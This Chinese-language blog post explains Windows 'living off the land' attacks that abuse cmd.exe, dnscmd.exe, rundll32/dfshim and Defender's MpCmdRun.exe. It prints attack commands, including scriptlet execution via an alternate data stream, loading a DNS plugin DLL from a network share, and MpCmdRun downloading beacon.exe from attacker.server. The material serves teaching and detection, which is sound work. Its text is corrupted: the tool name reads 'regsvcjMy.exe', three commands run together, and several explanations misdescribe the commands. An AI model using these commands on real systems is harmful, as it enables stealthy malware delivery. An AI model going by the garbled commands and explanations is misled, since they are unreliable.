引言
"离地攻击"(Living Off The Land Attack)是一种在攻击中利用目标系统已存在的合法功能、工具或脚本的方法。这些攻击通常不需要下载外部恶意软件,而是利用目标系统已经具有的资源和功能来实施攻击,从而更难以检测和防御。
离地攻击(LotL)技术是指使用系统中已经存在或易于安装的二进制文件(如已签名的合法管理工具)来执行后渗透活动(post-exploitation activity)。
离地攻击达到的目的:离地攻击的目的是尽可能地减少攻击留下的痕迹,提高攻击的成功率,并使检测和防御变得更加困难。因此,对于安全团队来说,了解和监视这些离地攻击技术是非常重要的,以便及时检测和应对潜在的威胁。
举个例子:比如使用 PowerShell 或 Windows Management Instrumentation (WMI)。攻击者可能会利用这些工具来横向移动、收集信息、执行代码等,而不会引起系统安全软件的怀疑,因为这些工具在正常情况下是合法使用的。
CMD.EXE
CMD
(命令提示符)是 Windows 操作系统中的命令行解释器。它提供了一个交互式的命令行界面,允许用户输入命令来执行各种操作,例如管理文件和目录、运行程序、配置系统设置等。
所需权限:user
C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd.exe
可用于的系统:
Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
参考实际使用时命令:
cmd.exe /c echo regsvcjMy.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvcjMy.sct ^scrobj.dll > fakefile.doc:payload.bat
创建一个名为 "fakefile.doc" 的文件,并将一个命令写入其中。这个命令的目的是利用 regsvcjMy.exe 来执行一个注册表脚本文件,这个脚本文件来源于一个 URL(https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvcjMy.sct)。具体来说,这个脚本文件将以系统用户的身份运行一个名为 "scrobj.dll" 的文件。
在这个命令中,"/c" 表示执行命令并终止。echo命令用于创建fakefile.doc文件并写入内容。在写入的内容中,"^" 用于转义特殊字符,以确保它们被正确解释。最后,命令将写入一个名为 payload.bat 的批处理文件,其中包含用于执行上述注册表脚本文件的命令。
cmd执行命令请求的URL中的文件为:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- regsvcjMy /s /u /i:http://example.com/file.sct scrobj.dll -->
<!-- .sct files when downloaded, are executed from a path like this -->
<!-- Please Note, file extenstion does not matter -->
<!-- Though, the name and extension are arbitary.. -->
<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
<!-- You can either execute locally, or from a url -->
<script language="JScript">
<![CDATA[
// calc.exe should launch, this could be any arbitrary code.
// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
这个脚本会通过调用
WScript.Shell
对象的 Run 方法来执行calc.exe
(Windows 计算器),并且这段 JScript 代码被包含在 CDATA 部分中,以防止 XML 解析器尝试解析其中的特殊字符。在脚本的注释中还提到,SCT 文件在下载后会被保存到临时 Internet 文件夹,并且在当前研究的基础上,并不会写入任何注册表键,因为它会调用 "uninstall"。这意味着脚本可能只是用于执行一些特定的操作,而不是将自身添加到系统中。
DNSCMD.EXE
DNSCMD
是 Windows 中用于管理 DNS 服务器的命令行工具。它允许管理员通过命令行执行各种 DNS 相关的操作,例如管理区域、记录、缓存等。
所需权限:DNS admin
C:\Windows\System32\Dnscmd.exe
C:\Windows\SysWOW64\Dnscmd.exe
可用于系统:
Windows 服务器
参考实际使用时命令:
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\10.0.0.1\dll\wtf.dll
将
wtf.dll
文件配置为 DNS 服务器dc1.lab.int
的服务器级别插件,该 DLL 文件位于网络路径\\10.0.0.1\dll\
下。一旦配置完成,DNS 服务器将加载并执行这个 DLL 文件,以提供额外的功能或修改 DNS 服务器的行为。
Dfsvc.exe
dfsvc.exe
是 Windows 中的一个可执行文件,它是ClickOnce
部署服务的一部分。ClickOnce
是微软提供的一种应用程序部署技术,可以用于快速、简便地部署.NET Framework 应用程序。主要作用是启动ClickOnce
部署服务,并处理ClickOnce
应用程序的下载、安装和更新过程。当用户尝试启动ClickOnce
应用程序时,系统会调用dfsvc.exe
来处理相关的任务。
所需权限:User
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
可用于系统:
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
参考实际使用时命令:
rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
ShOpenVerbApplication
函数是用于启动ClickOnce
应用程序的函数之一。在这个命令中,它被调用以打开一个指定的 URL(http://www.domain.com/application/?param1=foo
),这个URL
是一个ClickOnce
应用程序的入口点。当这个命令被执行时,
rundll32.exe
会加载dfshim.dll
,然后调用ShOpenVerbApplication
函数,并将指定的URL
作为参数传递给它。ShOpenVerbApplication
函数会负责启动ClickOnce
应用程序并打开指定的 URL。
rundll32.exe:
rundll32.exe
是 Windows 系统自带的一个实用程序,用于运行 DLL(动态链接库)文件中的函数。它通常用于执行一些特定的系统函数,但也可以用于运行其他 DLL 文件中的函数。
AWL旁路攻击:
攻击者可能会利用
rundll32.exe
来执行恶意代码,这就是所谓的 "rundll32.exe AWL(应用白名单)旁路" 攻击。这种攻击利用了许多安全软件和系统策略的特点,即它们通常允许rundll32.exe
执行,因为它是系统组件,并且会忽略运行的 DLL 文件的路径。因此,攻击者可以将恶意代码嵌入到 DLL 文件中,然后通过rundll32.exe
来运行该 DLL 文件中的函数,从而绕过了应用程序的白名单限制。
MpCmdRun.exe
MpCmdRun.exe
是 Windows Defender 命令行实用程序,用于执行各种 Windows Defender 安全软件的操作。这个命令行工具允许用户在命令行中执行与 Windows Defender 相关的任务,包括扫描计算机、更新病毒定义文件、配置 Windows Defender 设置等。
所需权限:User
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
可用于系统:Windows 10
参考实际使用时命令:
MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.execopy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exeMpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\temp\nicefile.txt:evil.exe
MpCmdRun.cmd命令实现:使用了 Windows Defender 命令行实用程序MpCmdRun.exe
,并指定了参数-DownloadFile
,该参数告诉 Windows Defender 下载文件的操作。然后,命令指定了要下载文件的 URL-url https://attacker.server/beacon.exe
,以及文件应该被保存的路径-path c:\\temp\\beacon.exe
。
copy命令实现:这个命令的作用是将MpCmdRun.exe
文件复制到C:\Users\Public\Downloads
目录中,并将其重命名为MP.exe
,然后从恶意服务器下载名为beacon.exe
的文件,并保存到C:\Users\Public\Downloads
目录中,命名为evil.exe
。
DownloadFile命令实现:将远程服务器上的beacon.exe
文件下载到本地系统,但将其保存为c:\temp\nicefile.txt
文件的备用数据流中,而不是直接保存为evil.exe
文件。
结语
离地攻击(Living Off The Land Attack)是一种隐蔽、难以检测的攻击方法,利用目标系统已存在的合法功能、工具或脚本来实施攻击。本文介绍了几种常见的 Windows 离地攻击技术,包括CMD.EXE
、DNSCMD.EXE
、Dfsvc.exe
、MpCmdRun.exe
等,并给出了实际使用时的命令示例和相关解释。了解和监视这些离地攻击技术对于提高系统安全性至关重要,可以帮助安全团队及时发现并应对潜在的威胁。在日常的安全实践中,建议加强对系统组件和工具的监控和审查,及时更新安全策略,并提高对潜在威胁的警惕性,以确保系统的安全性和稳定性。
参考链接:
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)